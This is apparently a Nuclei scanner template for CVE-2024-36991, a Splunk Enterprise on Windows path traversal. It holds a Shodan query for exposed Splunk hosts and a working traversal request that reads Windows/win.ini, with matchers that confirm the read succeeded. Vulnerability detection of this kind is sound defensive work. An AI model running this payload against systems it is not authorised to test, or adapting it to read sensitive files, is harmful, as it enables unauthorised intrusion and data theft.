49 lines
1.5 KiB
YAML
49 lines
1.5 KiB
YAML
id: CVE-2024-36991
|
|
|
|
info:
|
|
name: Splunk Enterprise - Local File Inclusion
|
|
author: DhiyaneshDK
|
|
severity: high
|
|
description: |
|
|
In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.
|
|
reference:
|
|
- https://x.com/sheikhrishad0/status/1809210005125746880/photo/1
|
|
- https://x.com/chybeta/status/1809249794122215557/photo/1
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-36991
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: html:"Login | Splunk"
|
|
tags: cve,cve2024,splunk,lfi
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /en-US/login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
host-redirects: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(body, "Splunk Inc.")'
|
|
condition: and
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "bit app support"
|
|
- "fonts"
|
|
- "extensions"
|
|
condition: and
|
|
# digest: 490a004630440220161560c30250454c6c092372dd49e93373fc293e9182a899cfcd282f27d1620902207118a8878843fe627bcaa1cd661acf7251c99a57a1a3ce6b5efcb71c88852d37:922c64590222798bb761d5b6d8e72950 |